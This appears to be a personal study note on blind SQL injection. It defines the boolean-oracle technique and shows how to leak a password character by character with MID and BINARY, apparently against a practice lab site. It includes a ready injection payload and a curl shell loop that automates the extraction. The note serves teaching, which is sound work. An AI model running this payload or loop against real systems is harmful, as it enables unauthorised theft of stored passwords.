Lukas' Notes

web security databases

Definition

Blind SQL Injection

A blind SQL injection is a SQL injection in which the query’s results are not directly returned to the attacker, but the application’s observable behaviour (a distinguishable message, an error, a broken or empty page) still depends on whether the injected condition is true. The page thus functions as a boolean oracle: each request returns a single bit.

Mechanism

Char-by-char leak

  1. Pick a target record (mail LIKE 'marco%') and a position pos in its password.
  2. Guess a character and compare it with the recorded one using MID(str, pos, len) and BINARY for case sensitivity:
SELECT BINARY <guess> = MID(password, <pos>, 1)
FROM people WHERE mail LIKE 'marco%';
  1. Inside the vulnerable query, fold the comparison into a condition:
' OR BINARY '<guess>'=MID(password, <pos>, 1) AND mail LIKE 'marco%' -- -
  1. If the oracle returns the success message, the guess is correct; advance pos. Otherwise try the next candidate character. A binary search over the alphabet reduces the number of requests.

Obs

MID is a synonym of SUBSTRING; BINARY forces byte-wise comparison. The column count and types need not be known because the comparison is folded into a boolean condition rather than a UNION SELECT.

Example

Leaking the first character of a password

On https://pwdreset.is.hackthe.space/index.php the page prints only Sent or Address not found, so it is a 1-bit oracle. To leak the password of the user whose mail starts with marco, the attacker injects a comparison and watches which message appears:

SELECT * FROM people WHERE mail =
  ' OR BINARY 'H' = MID(password, 1, 1) AND mail LIKE 'marco%'

Trying H at position 1 makes the page print Sent, whereas F or G print Address not found — so the password starts with H. Advancing pos and repeating recovers the rest of the string character by character. A shell loop automates this:

for pos in {1..10}; do for guess in {A..z}; do
  curl -s "$URL" \
    --data "mail=' OR BINARY '${guess}'=MID(password, ${pos}, 1) AND mail LIKE 'marco%'" \
    | grep -q sent && echo -n "${guess}" && break
done; done